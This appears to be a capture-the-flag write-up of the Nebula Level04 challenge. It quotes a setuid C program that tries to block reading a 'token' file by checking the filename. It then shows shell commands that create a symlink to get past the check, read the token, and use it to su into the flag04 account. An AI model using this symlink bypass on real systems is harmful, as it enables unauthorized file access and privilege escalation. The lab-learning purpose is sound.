Level04 was one of my favorite challenges out of the entire series. The post below documents my solution.
We are presented with the source code for level4.c. I included the code below for a quick reference:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
At first glance I made the problem too complicated and began looking into file permissions, etc. After resetting myself I concentrated on the source code provided and noticed a common programming mistake. The second if statement explicitly states the file that the programmer does not want accessed. Since the code is matching based on name we should be able to create a symbolic link to display the contents of token.
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/level04
level04@nebula:/home/flag04$ ./flag04 /tmp/level04
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ id
uid=1005(level04) gid=1005(level04) groups=1005(level04)
level04@nebula:/home/flag04$ su flag04
Password:
sh-4.2$ id
uid=995(flag04) gid=995(flag04) groups=995(flag04)
sh-4.2$ getflag
You have successfully executed getflag on a target account
There you have it! By evading the name-based filter we were able to read the restricted files contents.
Just a quick note: I used the contents of token as the password in order to su to the flag04 account. Hope this helps!